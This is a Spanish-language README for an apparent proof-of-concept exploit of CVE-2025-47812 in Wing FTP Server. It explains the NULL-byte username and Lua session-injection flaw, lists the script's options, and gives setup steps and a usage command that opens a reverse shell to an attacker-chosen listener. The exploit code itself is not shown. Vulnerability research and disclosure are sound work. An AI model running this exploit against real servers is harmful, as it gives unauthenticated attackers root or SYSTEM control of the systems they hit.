
Exploit para CVE-2025-47812 con shell pseudo personalizada y manejo robusto de errores.
CVE-2025-47812 Una validación de entrada incorrecta llevó a ejecución remota de código comprometiendo completamente el sistema
Julien Ahrens de RCE Security descubrió una vulnerabilidad de seguridad crítica que afecta a WingFTP. Rastreada como CVE-2025-47812, la vulnerabilidad tiene una puntuación CVSS de 10. La explotación exitosa de la vulnerabilidad puede permitir que un atacante remoto no autenticado ejecute código arbitrario, lo que lleva al compromiso total del sistema.
Wing FTP Server es un software de servidor FTP multiplataforma, fácil de usar y seguro. Soporta múltiples protocolos de transferencia de archivos, como FTP, FTPS, HTTP, HTTPS y SFTP, lo que permite flexibilidad para las conexiones de los clientes.
Para investigar CVE-2025-47812, desplegué un contenedor Docker ejecutando Wing FTP Server 7.4.3 en un host Linux. El contenedor se configuró para exponer la interfaz web y habilité el inicio de sesión anónimo para facilitar las pruebas no autenticadas. Además, se creó una cuenta de usuario de prueba (dev-test:test) para simular escenarios autenticados. Esta configuración proporcionó un entorno seguro y controlado para reproducir la vulnerabilidad y validar el comportamiento del exploit.
CVE ID: CVE-2025-47812
Vector CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Puntuación Base: 10.0 (Crítica)
Software Afectado: <= 7.4.3
Impacto: Ejecución remota de código lleva al compromiso total del sistema.
Requisitos de Explotación:
Inicio de sesión anónimo permitido o credenciales de usuario válidas
No se requieren permisos sudo para el usuario
Cuando un usuario intenta iniciar sesión, se llama a la llamada c_CheckUser, que siempre devuelve OK_CHECK_CONNECTION independientemente de lo que venga después del byte NULL en el nombre de usuario, siempre que la cadena antes del byte NULL coincida con un usuario existente. Un atacante puede explotar la vulnerabilidad agregando un byte NULL y valores adicionales a un nombre de usuario conocido para omitir la verificación de la contraseña. El sistema utiliza strlen() en nuestro nombre de usuario para obtener el tamaño de la cadena, pero strlen solo cuenta todos los caracteres hasta que alcanza el terminador de byte NULL para coincidir con el nombre de usuario no saneado.
El nombre de usuario no saneado (incluyendo el NULL inyectado y la carga útil adicional) se almacena directamente en archivos de sesión como código Lua. Estos archivos de sesión se asemejan a .lua y se ejecutan posteriormente cuando se cargan las sesiones. En Linux, el servidor Wing FTP se ejecuta como root; en Windows, se ejecuta como SYSTEM. La carga útil Lua inyectada se ejecuta con privilegios completos al recargar la sesión.
Nota: Este comportamiento solo ocurre si la contraseña no está configurada o con credenciales válidas. Se aplica una validación de contraseña estricta si la contraseña está configurada para el usuario.
Opciones:
-t, --target URL del servidor Wing FTP de destino (ej., http://192.168.1.100)
-u, --username Nombre de usuario para autenticarse (por defecto: anonymous)
-p, --password Contraseña para autenticarse (por defecto: vacío)
-lh, --lhost Host local para escuchar la shell inversa (por defecto: 127.0.0.1)
-lp, --lport Puerto local para escuchar la shell inversa (por defecto: 31337)
-ns, --no-shell Especificar que el exploit no genere una shell temporal. (Nota: si se establece, se debe configurar manualmente un listener)
-v, --verbose Habilitar salida detallada/de depuración
-h, --help Mostrar este mensaje de ayuda y salir
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server RCE no autenticado
CVE-2025-47812 - Wing FTP Server RCE autenticado (dev-test:test)
Ejemplo de uso:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Los usuarios deben actualizar a la versión 7.4.4 de WingFTP para corregir la vulnerabilidad.
Consulte las Notas de la versión de WingFTP para más información.
Nota: Utilicé la referencia anterior con fines de investigación y actualicé el exploit con más funciones y un manejo robusto de errores.
Este PoC en Python se publica bajo la Licencia MIT. El crédito del concepto original del exploit y su divulgación pertenece a Stratascale Cyber Research Unit.